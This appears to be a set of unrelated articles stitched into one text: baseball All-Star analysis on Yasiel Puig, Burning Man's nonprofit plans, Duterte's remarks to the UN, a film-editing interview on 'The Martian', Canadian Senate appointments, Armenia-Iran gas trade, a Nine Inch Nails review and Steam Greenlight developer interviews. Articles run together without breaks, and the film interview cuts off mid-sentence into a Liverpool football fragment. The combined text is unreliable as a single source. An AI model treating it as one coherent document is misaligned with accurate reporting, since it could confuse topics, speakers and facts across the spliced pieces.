"I’ve got to be honest here, that would be really hard for me to consider that… I guess there was somebody who wrote they would like to see him there and that he deserves to go because this game is for the fans and they want to see not just the best players, but the most interesting or intriguing players. I would have a hard time picking somebody who has been here three weeks, to be honest. The numbers would have to be so stupid that you say, ‘Ok I’ll consider it.’ But, you know, I couldn’t take away from a player who has been here and done it the whole half and been out there grinding every day and he doesn’t go. I couldn’t look at that player. I couldn’t look at myself, to be honest. So that’s why I’m saying, that’s a really long shot.”
In Puig's defense, the numbers are stupid. Since 1916 (when Retrosheet game-by-game data coverage begins), just two players have collected more total bases in their first 15 games than Puig, and only one has collected more hits:
Rk Player Year Team H HR TB 1 Mandy Brooks 1925 Cubs 25 6 51 2 Willie McCovey 1959 Giants 22 6 46 3T Yasiel Puig 2013 Dodgers 27 5 45 Dino Restelli 1949 Pirates 21 7 45 5T Mark Reynolds 2007 Diamondbacks 23 4 44 Joe DiMaggio 1936 Yankees 27 2 44 7 Alvin Davis 1984 Mariners 20 6 43 8T Chris Dickerson 2008 Reds 20 4 41 Del Bissonette 1928 Dodgers 20 4 41 10T Coco Laboy 1969 Expos 25 2 40 Ken Keltner 1938 Indians 22 4 40 Daric Barton 2007 A's 22 3 40 Bo Hart 2003 Cardinals 28 1 40 14T Roy Weatherly 1936 Indians 24 1 39 Chuck Klein 1928 Phillies 22 3 39 Matt Kemp 2006 Dodgers 17 7 39 Mike Lansing 1993 Expos 24 3 39
Fifteen games is a small sample size and not a great barometer of career success. Some of the players above turned into stars, Hall of Famers even; McCovey, DiMaggio and Klein found their way to Cooperstown, and Keltner had a reasonable enough case to have a whole line of sabermetric inquiry named after him (Bill James' Keltner Test). Others cooled off and quickly faded into obscurity; Brooks, Ristelli and Hart put up acceptable numbers as rookies but were done in the majors after a handful of games in their second seasons.
As noted before, Puig has done more than just post fantastic numbers. Whether his talent is truly All-Star caliber remains to be seen, but given the number of players who make it each year who are demonstrably not — take 2012 NL All-Star Bryan LaHair, who lost his job later in the year and left for Japan this winter, or Dan Uggla, who has fallen apart as a hitter in recent years and was hitting.221/.351/.395 at last year's All-Star break — that shouldn't be a major impediment.
Having been called up so late, Puig isn't on the ballot, but as Yahoo! Sports' Jeff Passan pointed out, when luminaries like Mike Baxter (now in Triple-A), Kirk Nieuwenhuis (with a 451 OPS) and Adam Eaton (who has yet to play this year due to injury) are, that doesn't speak particularly well of the process. It wouldn't be a surprise if the Dodgers mount a write-in campaign before balloting ends on July 4, or if fans around the majors start writing him in on their own. They want to see him, and assuming Bochy bypasses him on principle when he chooses the reserves, it would still be no shock at all if he's part of the internet-based All-Star Final Vote procedure, which allows fans to choose from a five-player slate in each league.
Quite frankly, baseball needs Puig at Citi Field on July 16 given that last year's game sank to record-low television ratings. The NL — Bochy's team included — needs him as well given that he may be able to help them win and therefore secure home field advantage in the World Series for the league's pennant-winner. He doesn't have to start, nor does he deserve to, but imagine him as a late-inning pinch-hitting threat if nothing else, because one swing of his bat can change a game. Dude is hitting.474/.500/.789!
The Dodgers are 10 games under.500, but they nevertheless have several candidates to represent them in Queens. Clayton Kershaw is an easy pick even if he doesn't actually pitch, and both Adrian Gonzalez (.309/.367/.469) and Carl Crawford (.301/.358/.470) are defensible choices based upon track records and current performance — health permitting, given that the latter is on the DL due to the hamstring strain that led to Puig's recall in the first place.
According to MLB.com, 99 rookies have played in an All-Star Game, including 59 position players. There is however no precedent for a position player making the All-Star Game with as little major league experience as Puig, who if he were to play every remaining Dodger game between now and July 14 would max out at 39 games. Bryce Harper became the youngest player in All-Star history last year at 19, but after being recalled in late April, he had 63 games under his belt by the time the game rolled around; he was only added to the team as an injury replacement, and was hitting.282/.354/.472 with eight homers at the break.
Pitchers have been selected with less experience. A's rookie closer Ryan Cook had pitched in 50 career games, thrown 46 innings and picked up eight saves when he was tabbed last summer. Dodgers phenom Fernando Valenzuela had 24 games and 14 starts when he was chosen to start for the NL in the 1981 game following the settlement of the players' strike. On the other hand, Stephen Strasburg was bypassed in 2010 after making seven starts with a 2.32 ERA and a 12.9 strikeout per nine ratio — roughly a quarter of a season of work, about what Puig would have by the time this year's game rolled around. As Bochy can certainly recall, even without Strasburg's help, the NL won that one and then his own Giants team used the home-field advantage as a springboard to a world championship.
From here, despite his rawness and his limited experience, Puig appears to be at least a defensible choice, particularly as the All-Star Game scrambles to straddle its dual roles of being an exhibition for the people and a competitive means of deciding home-field advantage. That said, the odds are against him maintaining even a.400 average by the time the squads are announced on July 6, or on July 7, when Final Vote balloting begins, which should give Bochy cover as he protects The Old Guard from an upstart who could help the exhibition regain some of the popularity it has lost.
Assuming that happens, it will be a shame, a missed opportunity if not an injustice. Like most other players who don't happen to be lucky enough to be the sole defensible choice on a bad team, Puig will have to grind his way to the Midsummer Classic like everyone else. Bo-ring.
This article has been updated to correct the date when All-Star teams will be announced.Larry Harvey had a bunch of people over for dinner last night, and he told them that he and the other board members were going to turn the Burning Man LLC into a nonprofit, and that the organization is looking to create an urban center in the 6th Street corridor of San Francisco.
If Burning Man can turn a desert into an oasis, they might help revitalize the mid-Market. “We want to bring our culture there,’’ Harvey said, “without unduly gentrifying the area.”
“We’d like to recreate our hometown,” Harvey said. Noting that the area has beaten all attempts at revitalization, he said, “The city fathers have decided to send in the artists, you know, like ‘Send in the Clowns.’”
The organization is looking to lease a space in the area, with an option to buy. It had been looking to create an educational and cultural center at Fly Ranch, just down the road from the site of the event in the Black Rock Desert. But those negotiations haven’t proceeded well. “We put an offer down and slid it across the table,” board member Will Rogers said, “and they wrote one down and slid it across the table, but we weren’t speaking the same language.” Rogers did say that those talks are continuing, however.
The dinner was held in a large tent near First Camp, where the founding members of Burning Man stay together, and it was something of a “State of the Union” address.
Marion Goodell saluted Tom Price, who is leaving Black Rock Solar for a private venture, and she said that Burning Man would like to replicate the organizational success Price established at the solar company. Price was among those who went directly to the Gulf Coast after the 2005 Burning Man to help victims of Hurricane Katrina in New Orleans. That effort eventually led to the creation of Burners Without Borders, and to Black Rock Solar.
Black Rock Solar’s various installations are providing more than a million watts of solar power in Nevada, and Governor Jim Gibbons on Monday proclaimed Route 447 as “America’s Solar Highway,” with more watts of distributed solar per mile than anywhere else in the U.S.
“We did Katrina because we could,” Price said, likening the effort to what happens on the playa. “Apply your gifts to the limits of your imagination.”
Regarding the organizational changes at Burning Man, Harvey said, “We need collaborators. We’ve been doing this for 20 years.” He said the organization would like to prove itself as a nonprofit operation, “and then we’ll just give (the event) away.”
He said that it had been a difficult period that led up to the decision. “I’m 62,” he said. “And each decade has its lessons. … In your 60s, you’re past your insecurities … and you have to face death and imagine a world without you in it.”
In sometimes emotional moments, Harvey said the board members were trying to make sure that their efforts would be sustained. “We’d like to last for the rest of the 21st Century,” Harvey said. “I don’t think that’s too ambitious!”
He appealed to the group for financial and organizational support. “Reach deeper than yourself,” he urged. “Come forward and collaborate with us.”
And with that, a marching band appeared at the entrance to the tent, which was also graced by the Narwhal, a giant playa sailboat that resembles a smiling whale. David Silverman, the “Simpsons” director who likes to play a flaming tuba at the event, led the band for three rousing numbers that sent the participants on their way.MANILA – (UPDATE) President Rodrigo Duterte on Sunday invited the United Nations to come to the Philippines for a public “conference” on killings linked to his relentless war on drugs.
The UN representative can ask him “all that you want to know,” Duterte said in a televised news conference at the presidential guest house in Davao City.
“Extra-judicial killings, I will do the explanation in public, for international release if you want,” he said.
Duterte’s statement compared to an earlier statement by his spokesman, Ernesto Abella, which chided the UN for “unwelcome meddling.”
Duterte did not name the UN representative, but in a Twitter post on Friday, UN special rapporteur on summary executions Agnes Callamard said she was willing to investigate the killings in the Philippines.
“I am willing to answer. I assume full responsibility for what happened because I was the one who ordered it,” he said.
Duterte on Sunday also criticized the UN for not doing enough to stop violence in Syria, which he blamed on the United States.
“I don’t see anybody from this stupid body complaining about the stench of death” in Syria, he said.
Duterte said the UN should have written him instead of criticizing him in a public statement.
"You have fallen short of the protocol needed to respect, you must be a s***. You did not follow the basic rudiments of protocol," he said.
"Maybe well just have to decide to separate from the UN kung ganauan kayo kabastos p***** e umalis na kami diyan sa inyo [If you are that rude, we will leave you]," he said.
Asked by reporters if he was serious, Duterte said: "The joke is on you." He said the UN should return the country's contributions first before the country could leave the group.This is a follow-up to my interview with 2-time Oscar winning editor, Pietro Scalia. We spoke about his latest project, “The Martian” and the rest of his fascinating career. To continue the discussion on the collaborative workflows, organization and talented team behind the “master editor,” I spoke with the “additional editor” on “The Martian,” Cheryl Potter. (pictured left in “The Martian” edit suite in London)
HULLFISH: Tell me a little about your career path to “The Martian.”
POTTER: Before I got on the Ridley train (“Exodus: Gods and Kings”), I was the first assistant editor on “Dark Shadows” which was Tim Burton’s movie before his last one. I firsted on “Anna Karenina,” which was Joe Wright’s version of Anna Karenina. Did a few weeks on “Tinker Tailor, Soldier Spy” helping out Jill Bilcock when she came on to consult on the edit. I came to London was on “The Chronicles of Narnia: Voyage of the Dawntreader” which was shot in Australia, where I was originally based. Before “Narnia” it was pretty much whatever big films were coming through Australia. I did Baz Luhrmann’s “Australia” which was nearly two years of my life, working with Dody Dorn, who’s amazing. And also on Luhrmann’s “The Great Gatsby.”
HULLFISH: Were you on “Dark Shadows” with JC Bond? I interviewed him about the workflow for a bunch of huge movies – like “Harry Potter” and “Pirates of the Carribean” – for my last book “Avid Uncut.”
POTTER: He’s always been Chris Lebenzon’s right-hand man, for years now. It’s great working with JC because he’s so technical. He knows everything about Avid – knows it inside out, but he’s cutting now – he cut “Big Eyes” for Tim Burton and recently finished “The Man Who Knew Infinity,” so that’s great.
HULLFISH: Lebenzon’s like the king of the big budget features: “Batman Returns,” “Armageddon,” “Pearl Harbor”… a bunch of Johnny Depp movies… Let’s talk about “The Martian.” I was shocked about the production schedule for the movie when I spoke with Pietro. Tell us about the post production.
POTTER: The Martian started editing in November of 2014 in Budapest where they shot all of the stage material. Then post moved to France for the director’s cut, where Ridley Scott lives. Then finished editing in London where all of the visual effects houses were and where they completed the DI through the London office of Company 3, with colorist Stephen Nakamura.
HULLFISH: What was your role?
POTTER: I’m a bit more of a weird one. I was there just for whatever help Pietro needed. Sometimes I’d be assembling scenes. Sometimes I’d be doing sound work. Sometimes I’d be on a chase to find a particular reading of a line or a throwaway thing. It was very varied. I never knew what Pietro was going to need from me. He’d say, “I’m doing this so you find me this” or “Can you put together this other thing?”
HULLFISH: So how is an “additional editor” different from an assistant or other editor?
POTTER: It was very generous of Pietro to give me the title. Some people might call what I did “associate editor” or in some ways, on a smaller show it’s what a first assistant editor would do. And I’ve done these tasks as a first assistant editor as well. But it was really good of him to focus on the fact that “yes she’s done a lot of cutting on this one” so let’s give her an additional credit. I was really, really chuffed with it.
This was my first time working with Pietro and I hope it won’t be my last because it was really, really cool. It was really fun. It wasn’t his first time working with a bunch of the other editorial crew. He’d worked with Laurence Johnson, our first assistant editor, before on “Prometheus,” “The Counselor,” and “Robin Hood.” Zoë Bowers was on “The Counselor.” So part of the team had already worked with him and we’re all the same team who had worked on Ridley’s last show, “Exodus: Gods and Kings.” So our 2nd Assistant editor, Paolo Buzzetti, and our assistant editor, Elise Anderson, were “Exodus” Alumni as well. And of course Teresa Kelly has done the post producing on all Ridley’s films for years, so that was the core team we started with. Pietro was happy to take on this pre-formed team. And we all fit together really nicely and everybody got along really well.
HULLFISH: What was the dailies process?
POTTER: So they had a team on set, DIT Mary Lobb, she would get all of the camera cards and would keep a running total of whatever was on those cards in a shared Google doc, so we could sort of spy what was happening on set and see “have they turned over” “how many takes have they done” and those camera cards would come… before I get to that part, they had an on-set colorist who was setting looks on set. They were setting CDLs (color decision lists) on set. The camera cards would come to Fluent Image, who would do our dailies and our digital negative. They had a system set up in a room with the rest of the post team. So they’d read the camera cards. They’d pull the R3D files. And they’d archive the digital negative and also send the LTO tapes so that we had an off-site backup. They would also create our transcoded DNxHD 36 media with the CDLs that had been applied on set, so we already had a dailies look set. We gave Fluent access to our ISIS, so they could put the DNxHD 36 directly on the ISIS which saved us a bunch of copying time.
HULLFISH: On my last movie, I debated whether to cut in 36 or 115. We did the first few days at 36, but I wanted a better quality for the preview screenings and I didn’t want to have to bump it all up to 115 later, so we started over again and did everything at 115.
POTTER: There was a bit of to and fro about whether we wanted to use DNxHD36 or 115. In the end we went with 36 during the shoot period just because it’s small files and because we knew we were going to do satellite cutting rooms and we didn’t want to be trapped in a situation where we were having to move these giant files and wait for them to copy. But we knew we were going to want to get to DNxHD115 at some point so that when we did screenings we had the better quality. So there was a point where we sort of started to redigitize whatever was in the live cut (current timeline). We just uprezzed the footage referenced in the cut. And we were able to push that until later on in the process so that we weren’t having to deal with these massive files from the beginning. On top of all of that, we were also stereoscopic, so we were getting the left eye and the right eye as discrete files which we were then syncing together, because we were editing in “full” mode. “Prometheus” was done differently because that was an older version of Avid so they had to do it “side-by-side.” Avid didn’t have tools to deal with each eye individually back then. I wasn’t on “Prometheus,” but at the same time I was on “Great Gatsby,” which was being done the same way. The old way was fine until you started having to do effects to it, then you’d have to duplicate the effect and put it on both eyes.
HULLFISH: And did Fluent do all of the audio syncing?
POTTER: No. We did it. They would receive the audio files and pass them to us. So they would get a “drop” from set at lunchtime and another at wrap. They would receive the stuff and start processing it but we generally didn’t get the full set of dailies the next morning. To complicate things further they started using the practical GoPro cameras on set which added an extra level to everything because it was trickier for Fluent to deal with them because it’s GoPro. It’s a different file format. And they needed to create a workflow where they could pull the files from the cameras and retain as much information as possible because even though GoPros can do 2K and 4K, it’s a different kind of file and it’s not going to hold up in the same way as the RED Dragon.
HULLFISH Describe the division of labor for the team and what they did.
Top row, L-R: Rob Jones (Editiorial PA), Zoe Bowers (2nd Assistant Editor), Paolo Buzzetti (2nd Assistant Editor), Pietro Scalia, Tony Lewis (Music Editor), Laurence Johnson (1st Assistant Editor) & Cheryl Potter (Additional Editor) Bottom row, L-R: Elise Anderson (Assistant Editor), Ridley Scott, Teresa Kelly (Post Production Supervisor) This was taken in the post suite in London on “Dress like a Pirate Day” on “The Martian.”
HULLFISH: Zoe and Elise – our second assistant and our assistant came in the earliest. They’d be in at 7a.m. because dailies would finish processing and be ready sometime in the early hours of the morning. They’d get on top of the audio syncing. Our sound recordist, Mac Ruth, recorded polyphonic (multitrack) WAV files with a mixed track on track one, so when we did the syncing we would just make the synced subclips with the mix track only. We could always go back and look for individual microphones if we needed to, but most of the time we were just cutting with the mixed track. Paolo was our second assistant. We had two second assistants and Laurence, our first assistant would come in around 9. Once the syncing was done, scene bins were prepped for Pietro, with scene bins in frame view arranged in the order he liked for them to be arranged in, and a KEM roll generated.
HULLFISH: A KEM roll? Like a string out of all the selects? I’ve spoken to many editors that like to work this way. It was a common practice on KEM film editing beds – so that they could watch them or search them or even play them and watch them out of the corner of their eye as they’re doing something else.
POTTER: Pietro wasn’t available for the very first few weeks of shoot, so Valerio Bonelli, the co-editor came on at the front end of the show. Valerio liked to work that way and we kept doing it for Pietro after he came on. We’d create the KEM roll and save it in the bin with the rest of the sources for that scene.
HULLFISH: What specifically did they do to prepare the bins for Pietro? Subclipping? Choosing a thumbnail frame? Putting locators on camera slate and action? That’s one of the things I did on my last film. It allowed me to skip immediately to the second locator or marker in a clip to start watching. What frame did you choose for thumbnails?
POTTER: Setting a thumbnail was done on general action. Pietro wasn’t into having locators for action or slate. But he would like a locator if there was a reset. So we tended to only put locators on the rushes themselves if they came back and did a lot of resets so you could see how many different restarts they did in a take. Those we would mark with locators so it was easy to skip through them. Chris Lebenzon does the locator on action, I remember, but Pietro doesn’t do that. He works in frame mode and likes the bin to be arranged so that it fills the screen nicely. He doesn’t like having to scroll. So if you’ve got enough clips in the bin that you’re going to scroll, you’d start a new bin for that scene.
HULLFISH: I also interviewed Eddie Hamilton and Eddie and Pietro worked together on “Kick-Ass” and a lot of these things sound like he learned them working from Pietro and adopted them. Eddie knows a good idea when he hears it or sees it put in place by someone else.
POTTER: One of the things I impressed on Zoe and Elise was that if you have four takes of a set-up (the same angle in a scene), then try to make sure to make the thumbnails all look very similar so that when you’re looking for the same take in the bin, your eye would see that all those thumbnails looked similar.
HULLFISH: I do exactly the same thing.
POTTER: Interestingly I heard of some assistants who worked with an editor who set up their thumbnails so that if there were five takes of a set-up, they would do the first thumbnail on action, the second thumbnail a quarter of the way through the take, the third thumbnail half of the way through the take, the fourth thumbnail three quarters of the way through the take and the last thumbnail at the end of the take so that you’re presented with everything that happens in the course of the shot. It just sounded like a lot of work to maintain for an entire project.
Once we had the bins ready for Pietro, then Zoe and Elise would shift into exporting the dailies for the studio. And that would occupy them for the rest of the day unless we had other bits and pieces for them to do.
HULLFISH Pietro has quite a background in music. How was he with temp score?
POTTER: Pietro really had a lot of input on music. He knows what he likes. I remember that he already had this huge music library that he already had loaded up from previous movies and he’s constantly adding to it. I remember that we had to make sure that we needed to load it all up for when he arrived and he had a folder that had music from “Sea of Trees” and he’d keep referring back to those. He’s not the first editor I’ve worked with that does this, but he plays soundtracks in the background while he’s cutting so that he’s constantly hearing different music and new music and then if something piques his interest, he can turn and pay attention to it and find out what track it was.
HULLFISH: That’s another Eddie Hamilton thing.
POTTER: Mike McCusker does that as well.
HULLFISH: We’re going to have to create some “tree of editors” where we can see all of the influences in working practices that various editors get from their colleagues.
POTTER: Right! Who’s a thumbnail person and who’s a description/text person. I can only think of one text view person, and that was Dody (Dorn, editor of “Fury,” “Memento,” “Match |
of Europe in 2017-18; the No.7 set a new record for assists in the competition in one season as Liverpool fell at the final hurdle in Kiev.
Now in his fourth year with the club, he remains a key leader in Klopp’s squad as they compete in the Premier League and Champions League once more.Almost 300 Canadians were nominated to become the first senators appointed under Prime Minister Justin Trudeau's new process aimed at turning the Senate into a less partisan, more independent chamber of sober second thought.
And that process cost $170,000, according to a report from the Independent Advisory Board for Senate Appointments.
The report, released March 31, said the costs were primarily due to "travel and personnel" — but it adds that more costs are being tabulated and the final tally will be released in the board's next report.
Trudeau named seven new senators last month, all chosen from a short list of 25 recommended by a newly created arm's length advisory board.
In its first report on the fledgling process, the board says it received 284 nominations from a host of groups representing a broad cross-section of Canada's diverse population.
The nominees were 49 per cent female, 51 per cent male; 10 per cent identified themselves as indigenous, 16 per cent as visible minorities and four per cent as disabled.
The board's first batch of recommendations were for vacancies in Quebec, Ontario and Manitoba.
Overall, 72 per cent of the nominees were anglophones but the vast majority of nominees for the open Quebec slots were francophones.
However, the report suggests interest in the new Senate appointment process was lowest in Quebec: just 39 nominations were to fill vacancies in that province, compared to 51 for Manitoba and 194 for Ontario.Economic hopes are rising in Armenia that the country can serve as a trade conduit for Iran now that international sanctions against Tehran are being lifted.
Armenia has long-standing ties to Iran, and is a member of the Russia-led Eurasian Economic Union (EEU), a factor that potentially increases its attractiveness as a trade partner for Tehran. Yerevan is “an important avenue for both Iran to export through Armenia into that large combined market [EEU], and as a platform for Western engagement in the now opening Iranian market,” noted Richard Giragosian, director of the non-governmental Regional Studies Center in the Armenian capital, Yerevan.
The World Bank’s country director for Armenia, Laura Bailey, told RFE/RL’s Armenian service in January that stalled energy partnerships between Iran and Armenia could be the first sector to take off.
Related: OPEC Will Not Blink First
Indeed, National Iranian Gas Exports Company Managing Director Alireza Kameli announced on February 7 that Iran is considering increasing five-fold the 1 million cubic meters of gas it sends daily to Armenia, state-run Iranian media reported. At the same time, plans for a new power line to increase Armenia’s electricity exports to Iran are developing.
The gas deal appears to fit into a larger, regional scheme. In December, quadripartite talks took place during which Armenia, Iran, and the Black Sea countries of Georgia and Russia agreed to establish a coordinating group on establishing an energy corridor linking the four countries.
“We should spare no efforts to connect the Persian Gulf with the Black Sea [via Georgia, Armenia’s northern neighbor],” Iranian President Hassan Rouhani told his Armenian counterpart, Serzh Sargsyan in a January 24 phone conversation, Iran’s MehrNews agency reported.
Negotiations already have occurred between Iran and the Georgian government about sending Iranian gas to Georgia via Armenia, Iranian state media reported Kameli, the Iranian gas official, as saying in early January.
Some Armenian experts are tempering their optimism with caution. Russian-owned companies control an estimated 80 percent of Armenia’s energy sector. Energy giant Gazprom runs the gas pipelines from Iran and on to Georgia, and it tends to look askance at competitors who might try to muscle in on their markets. At the same time, no clear sign has emerged that Moscow opposes an increase in Iranian gas exports to Armenia. The Sputnik news agency, a Kremlin mouthpiece, promptly reported Kameli’s announcement on February 7.
Iranian affairs specialist Armen Vardanian at Yerevan’s Armenian Institute of International and Security Affairs believes that “Russia will embrace the projects that will not contradict its national interests.”
Related: T. Boone Pickens On Obama Oil Tax: ‘’Dumbest Idea Ever’’
“For example,” he continued, Gazprom, as the owner of the involved pipelines, “will benefit from the export of Iranian gas to Georgia and would not raise objections to it.”
Last month, Georgian Energy Minister Kakha Kaladze claimed that Russia had raised the prospect of ending its own gas exports to Armenia via Georgia, and instead having Iran provide the supplies.
Given Russia’s energy positions, Vardanian downplayed the possibility that Armenia could become a transit country for significant shipments of Iranian gas to Europe. “Russia would strongly oppose it,” he said. “Gas is the last weapon left in Russia’s political arsenal that is a means of putting pressure on some European countries, and the Kremlin will not want to lose it.”
Gazprom accounts for a majority of gas supplies to several European Union members.
The prospect of Iranian gas flooding the EU market, creating downward pressure on prices, is a major disincentive for Russia, added Giragosian. He also expressed caution when it comes to Iranian gas exports to Armenia, even via a Gazprom-run pipeline.
“There will be little incentive for allowing Armenia to escape the Russian orbit so easily. And given Armenia’s pronounced dependence on Russian gas imports, the potential of an expansion of Armenian-Iranian energy ties will be the first target of Russian pressure,” Giragosian said.
Related: Rising OPEC Oil Production Worsens Glut
Despite these obstacles, Yerevan, he advised, should pursue a role “for engaging Iran.”
Success could provide a much-needed financial boost for landlocked Armenia, which is subject to an economic blockade by two (Azerbaijan and Turkey) of its four neighbors.
Officials and experts believe that hydropower is a sector with great potential for growth. According to an official report from Armenia’s Ministry of Energy and Natural Resources, a large-scale electricity exchange program between Armenia and Iran is planned to start in 2018. Power will also be exported north to Georgia.
The groundbreaking for a hydropower plant on the Aras River, which flows along the Iranian-Armenian border, took place in 2012, but the freezing of Iran’s international financial assets stopped further work.
Some officials have expressed hope for an expansion of transportation links. But so far, progress in this area has been slow. In late January, Armenia and Iran signed an agreement about a transportation corridor that would link Iran to Georgia. The Georgian government on February 8 announced plans to cancel visa requirements for Iranians, but Tbilisi has not, as yet, signed the transportation agreement.
Meanwhile, Armenia has started talks with China to have a proposed multi-billion-dollar, 470-kilometer-long Iran-Armenia railway included in the Beijing-promoted Silk Road project. So far the discussions have not yielded any results.
“In [the] post-sanction era, the path towards expanding economic cooperation has been unblocked,” Iranian President Rouhani told Sargsyan during the pair’s phone chat.
By Gayane Abrahamyan via Eurasianet
More Top Reads From Oilprice.com:Pretty Hate Machine was always an excellent record. So much of what Nine Inch Nails would become is evident in this album. This album features a more synth-heavy sound than the follow-up albums Broken and The Downward Spiral had. Lyrically, it's an exquisite album that later NIN albums just never seemed to match. For proof, one just needs to listen to "Something I Can Never Have"...easily one of the most moving and haunting NIN songs ever written. The album also includes the classic singles, "Head Like a Hole", "Down In It" and "Sin".
The biggest problem that Pretty Hate Machine had was that the sound quality was fairly awful. The album seemed to be mixed in a lower volume than most other CD's and was plagued by an overly tinny sound throughout. Well, it's 2010 now, and Trent Reznor has finally had the opportunity to give this classic album a proper remastering. The result is everything you'd expect from Reznor's perfectionism and more. This album sounds phenomenal! The bass is deep, the highs are clear, and the vocals have been brought out to a more even level. In true NIN fashion, by listening to the album through headphones (or even just at a high volume on your stereo) you will notice so many little nuances you never did before. It's a fantastic listening experience!
As a little bonus, Reznor included an extra track. It is a cover of Queen's "Get Down, Make Love" which originally appeared as a B-side to the single for "Sin". It's a fairly decent cover, though I personally find it sounds very much out of place on Pretty Hate Machine. Still, I can't complain about its inclusion and it doesn't detract from the album at all.
Finally, long-time NIN art collaborator Rob Sheridan has redone the album artwork and packaging to look more modern. The result is a snazzy outer plastic sleeve with the main artwork on a digipak case. It looks just as fantastic as the album sounds.
Overall, if you're a NIN fan this is a no-brainer of a purchase. Yes, it's still 1989 NIN, but it's also one of the best alternative albums ever!When Valve launched Steam Greenlight nearly three months ago it was met with great fervor, but also great skepticism. The service would allow gamers to decide what content they wanted to see on Valve's popular distribution portal rather than leave the decision making process to an anonymous group of judges at the Seattle-based company.
Would this appealing to the masses provide a more honest sense of what people really wanted, or would it cater to whoever had the best PR campaign rather than the best games?
We spoke to several indie game developer in various stages of the Greenlight process to gather insight on how the new system was working.
Early on I spoke to Renegade Kid's Jools Watsham, whose 2D platformer Mutant Mudds gained quite a lot of critical acclaim on 3DS as well as PC, where it was later ported. Incredibly, Valve still rejected Mutant Mudds on Steam prior to Greenlight. "To this day, I do not know why Steam rejected Mutant Mudds," said Watsham. "They do not offer explanations. It is a mystery, locked away in the vaults of Valve."
Watsham seemed more optimistic about Greenlight, where he noted Mutant Mudds sat at 55th place. "I think the concept of Steam Greenlight is great, and it shows that Steam really wants to ensure that smaller indie games have a chance to get onto Steam," he stated. Despite this, he still had some concerns about how it would actually work in practice.
"It's a PR contest instead of a dissection of the games themselves. This isn't necessarily a bad thing, but it will make it very challenging for a one or two-man team who are focused on making games instead of flexing their PR muscle." Jools Watsham
McPixel, the first man accepted by Greenlight.
"I don't know if there's a perfect way to make such a thing work effectively for everyone," he explained. "The very nature of Steam Greenlight is a popularity contest, obviously, and as such encourages each team to pimp out their campaign to garner votes on Greenlight. It is a PR contest instead of a dissection of the games themselves. This isn't necessarily a bad thing, but it will make it very challenging for a one or two-man team who are focused on making games instead of flexing their PR muscle."
And yet plenty of the games that have been greenlit were made by tiny teams. Miasmata was made by two brothers, Secrets of Grindea is being developed by three people, and McPixel - the first game to actually go on sale via the Greenlight system - was made by one person.
So how are these games getting noticed? Most of these titles had little to no coverage on mainstream gaming sites, so I spoke to several developers and asked how they promoted their games, or indeed, if they did at all.
McPixel creator Sos Mikolaj Kaminski said: "The largest force driving attention to McPixel at that time were 'Let's Play' videos. Mostly by Jesse Cox and Pewdiepie." This worked out well for Kaminski as he'd tried submitting McPixel to Steam several times and it kept getting rejected.
Bob Johnson, one of the two brothers behind the tropical survival horror game Miasmata, said he and his brother Joe did very little to promote Miasmata prior to Greenlight. "We had a YouTube video with 20k plus views and a few small blogs posted about our game. Greenlight has been the single best promotional tool for us."
"I think people voted for Miasmata because it was obvious that it was a polished, ambitious, good-looking game done by a couple of passionate and talented people," he explained. "It wasn't derivative or another homage to 8-bit glory days and people responded to it. If that isn't a case-study for why Greenlight works, I don't know what is."
Johnson decried the notion of it simple being a "popularity contest". "If that term is used as a pejorative and is implying that undeserving games are making it to the forefront en-masse, then I disagree. Steam users are a well-informed gaming audience. It seems to me they've done a pretty good job selecting games with merit."
"Greenlight has been the single best promotional tool for us." Bob Johnson
Miasmata looks awful impressive for a made game by two brothers. It comes out on 28th November.
He admitted that the cream doesn't always rise to the top, though, and some level of PR is required. "If you value PR work so little as to dismiss it as 'pimping', it is unwise to expect people to ever find your game, let alone be able to make an informed decision about whether they want to purchase it or not," he added. But by and large he found that having a polished looking game - and one with a novel conceit - is enough to stand out.
Sam Abbott from Compulsion Games, whose surreal 1920s vaudevillian puzzle/platformer Contrast has been accepted on Greenlight, likewise did very little external PR (aside from having an article in GameInformer) and found that "Greenlight is marketing".
"When you put your game up on Greenlight you have access to a massive pool of people who are interested in what is going on and are critically assessing your game against others," he said. "If you put an unpolished, poorly explained and unoriginal game up, you're not going to win many people over. If you put up something that looks good, is explained well and shows some innovation/character, people will vote for it. Presentation matters."
Abbott theorised that external marketing was overrated and does little to push votes. "Think about it - what kind of marketing available to indies is so effective that it convinces people who aren't already into the scene to a, sign up for a Steam account, b, search through Greenlight for your game, and then c, vote?"
"It's a hassle. Some people will do it, but the best you can realistically hope for is that people who are already on Greenlight may go and vote for your game, which they should already have done if your Greenlight page is good." He also noted that Greenlight offers next to no traffic stats, so it's impossible to tell how effective your marketing efforts are.
According to Abbott, the Greenlight community is "engaged, positive, and discerning" and he found few trolls and mostly constructive criticism. "External communities (apart from Black Mesa, Postal 2 etc) are mostly irrelevant," he said. "They only matter when they are so big that they can make a dent in the ordinary Greenlight traffic. We know there are at least 200k+ people on Greenlight, so it needs to be a pretty big community to influence the voting significantly."
The already greenlit RPG Secrets of Grindia similarly had almost no external PR. "We spend nearly no time on PR, except for a weekly recap on our blog," said developer Pixel Ferrets' Teddy Sjöström.
"It would seem there are actually a significant number of Steam users who do take their time to traverse their Greenlight queues once in a while, and we believe our graphical style and level of polish helped reel many of those users in."
The surreal first-person adventure Dream also made the cut on Greenlight, with only the three-person team at Hypsersloth behind it. Developer Lewis Bibby noted that Dream had only been in development for three months before the studio put up a Greenlight page with just a trailer and description.
"As we monitored Greenlight over the first few weeks before we were greenlit, it was very apparent that the majority, if not all, of our competition were games that already had a fan base behind them or were even sequels to already successful games," said Bibby. "So we're of the opinion that popularity plays a role but it's not impossible for never before heard of games to make it through and even if it's the minority it makes the system worth it."
Outside of those accepted, other indies seemed to appreciate Greenlight's relative transparency. Nomad Games commercial director Don Whitehead, whose upcoming board game adaptation Talisman Prologue is on Greenlight, said, "The process before was you submitted to Steam and then you just waited and waited and waited. Now there's some visibility on where you are in the process. We're not quite there yet, but we're in good shape."
So Greenlight seems to be doing well for first time developers, but how about those who previously had games accepted internally who are now being asked to go through the less personal Greenlight process?
That's the case for indie adventure game publisher Wadjet Eye, who's now being asked to submit its sci-fi point-and-click adventure Primordia to Greenlight after its previous title, Resonance, had been accepted by Valve almost immediately.
Wadjet Eye founder Dave Gilbert didn't seem particularly discouraged by this. To him, rejection from Steam was par for the course. "Gemini Rue, our runaway biggest hit, was rejected twice by them before they finally accepted it," Gilbert explained. "In fact, Steam has rejected almost every one of our games only to change their minds later, so this situation is nothing new!
